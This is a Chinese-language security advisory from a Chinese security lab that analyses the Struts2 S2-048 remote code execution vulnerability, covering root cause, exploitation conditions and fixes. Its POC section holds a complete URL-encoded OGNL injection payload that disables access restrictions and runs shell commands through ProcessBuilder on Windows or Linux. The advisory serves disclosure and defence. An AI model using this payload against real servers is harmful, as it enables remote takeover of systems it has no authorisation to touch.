Struts2遠程代碼執行漏洞安全分析
通告預警
7月7日,Struts2官方公布最新的Struts2遠程代碼執行漏洞S2-048,特定條件下,利用該漏洞可允許攻擊者遠程執行代碼,可遠程種植web木馬程序,以此漏洞為入口甚至有可能控制目標應用伺服器的內網。
江南天安獵戶攻防實驗室連夜趕工,進行漏洞分析,附驗證代碼和解決方案。
一、 漏洞概述
漏洞名稱:Struts(S2-048)遠程代碼執行漏洞
漏洞描述:CVE-2017-9791(S2-048)
漏洞評級:高危
漏洞影響:Struts 2.3.x
二、漏洞分析
官方描述
官方漏洞描述,通常情況下會對影響的功能模塊、方法函數有一個大致介紹,可以給我們圈定一個範圍,其次是影響版本。如果開源,直接把修復前後兩個版本下載下來準備做對比,但是至少要下載當前影響版本,搭建測試環境:
兩個關鍵點
1.當Struts 2中的Struts 1插件啟用的情況下,攻擊者通過使用惡意欄位值可能造成RCE。
2.這些不可信的輸入數據被帶入到ActionMessage類中的錯誤信息中。
開發者通過使用resource keys替代將原始消息直接傳遞給ActionMessage的方式:
messages.add("msg", newActionMessage("struts1.gangsterAdded", gform.getName()));
漏洞復現
對ActionMessage做代碼審計來進一步分析。
項目名稱struts2-showcase,這是struts2完整包中自帶的示例項目,那就可以去這個項目中全局搜索縮小範圍了。
直接定位integration項目,再搜索分析,範圍基本確定在SaveGangsterAction文件中了。
訪問integration項目是一個表單,提交到saveGangster.action,就它了,代碼里也可以很明顯的確定可控參數是name。
之前漏洞描述中標出的第二個重要信息有後半句,錯誤信息,很快的可以聯想到045,憑經驗可以猜想應該又和ognl表達式有關,java能夠rce的就那麼幾種場景:可解析的表達式、反序列化、反射、直接編寫的相關功能等,而struts2更多的喜歡使用ognl來處理,已經爆過很多與ognl相關的洞了,那就開始注入,提到注入,大多數情況下只有兩種情況,一個是直接注入,另一個是閉合繞過注入,你就理解為一個是where後面的sql注入,另一個是where id=後面的sql注入吧。
不管三七二十一,先拿045的payload來試試,它的payload是一個完整的ognl表達式(除了第一個變數賦值語句,為了成功進入multipart流程,可刪),符合第一種情況。
結果很明顯是成功的!
原理分析
而Struts1Action的execute方法中,在第99行調用了SaveGangsterAction的execute方法執行真正的業務邏輯。
而在第105行判斷當前的actionMessage對象是否有value屬性,答案當然是沒有(所以臨時修復建議是將傳參由單獨傳一個拼接的key,改為傳兩個,即key和value),因此跳轉到第108行繼續執行,其中getText方法和S2-045中的findText方法類似,都會解析ognl表達式,導致漏洞被觸發。
漏洞利用條件:
1. 使用了struts2-struts1-plugin插件。
2. 在被Struts1Action包裝的action中將用戶可控的參數為key值設置到了ActionMessage中。
PS:值得注意的是,該漏洞從黑盒的角度來看特徵比較模糊,可以依靠對action傳參的fuzz來進行檢測。
三、POC驗證
Payload 可參考S2-045
name=%25%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27%22calc%22%27%29.%28%23iswin%3D%28@java.lang.System@getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2fc%27%2C%23cmd%7D%3A%7B%27%2fbin%2fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28@org.apache.struts2.ServletActionContext@getResponse%28%29.getOutputStream%28%29%29%29.%28@org.apache.commons.io.IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D&age=1&__checkbox_bustedBefore=true&description=
有需要搭建測試環境及漏洞復現的可參考github的docker環境。
https://github.com/Loneyers/vuldocker/blob/822c815e5d92fc845831a200ebe9726263e6962a/struts2/s2-048/README.md
四、安全加固
1.官方暫未更新補丁,建議更新至最新版struts。
2.手工修復方法:
a)不啟用struts2-struts1-plugin插件
b)停用showcase.war
c)開發者通過使用resourcekeys替代將原始消息直接傳遞給ActionMessage的方式。
如下所示:
messages.add("msg",new ActionMessage("struts1.gangsterAdded", gform.getName()));
請不要使用如下的方式:
messages.add("msg",new ActionMessage("Gangster " + gform.getName() + " wasadded"));
情報參考:HTTPS://cwiki.apache.org/confluence/display/WW/S2-048
TAG:江南天安 |
※Apache Struts遠程代碼執行漏洞分析
※Drupal遠程代碼執行漏洞分析
※ElectronJs遠程代碼執行漏洞
※Cisco WebEx遠程代碼執行漏洞
※Alpine Linux APK包管理器遠程代碼執行漏洞分析
※Struts2-005遠程代碼執行漏洞分析
※Weblogic反序列化遠程代碼執行漏洞研究分析
※Adobe Flash Player發布更新解決遠程代碼執行漏洞
※Microsoft Office 遠程代碼執行漏洞
※MySQL mmm_agent遠程代碼注入漏洞分析
※Microsoft Exchange Server遠程代碼執行漏洞-高危
※Unix管理工具Webmin爆有遠程程序代碼執行漏洞
※Oracle WebLogic Server反序列化遠程代碼執行漏洞成焦點
※Struts2-001代碼執行漏洞分析
※ManageEngine Applications Manager 遠程代碼執行漏洞
※ISPsystem漏洞分析
※漏洞交易公司Zerodium披露:NoScript漏洞允許在Tor中執行代碼
※WebExtension安全漏洞詳解 Part 1
※Adobe Reader類型混淆導致代碼執行漏洞分析
※Apple電腦Intel晶元組製造模式未關閉導致Ring3任意代碼執行漏洞分析